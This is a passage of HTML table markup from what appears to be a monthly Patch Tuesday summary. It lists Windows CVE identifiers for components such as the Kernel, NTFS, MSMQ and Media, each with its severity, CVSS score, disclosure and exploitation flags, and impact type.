  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
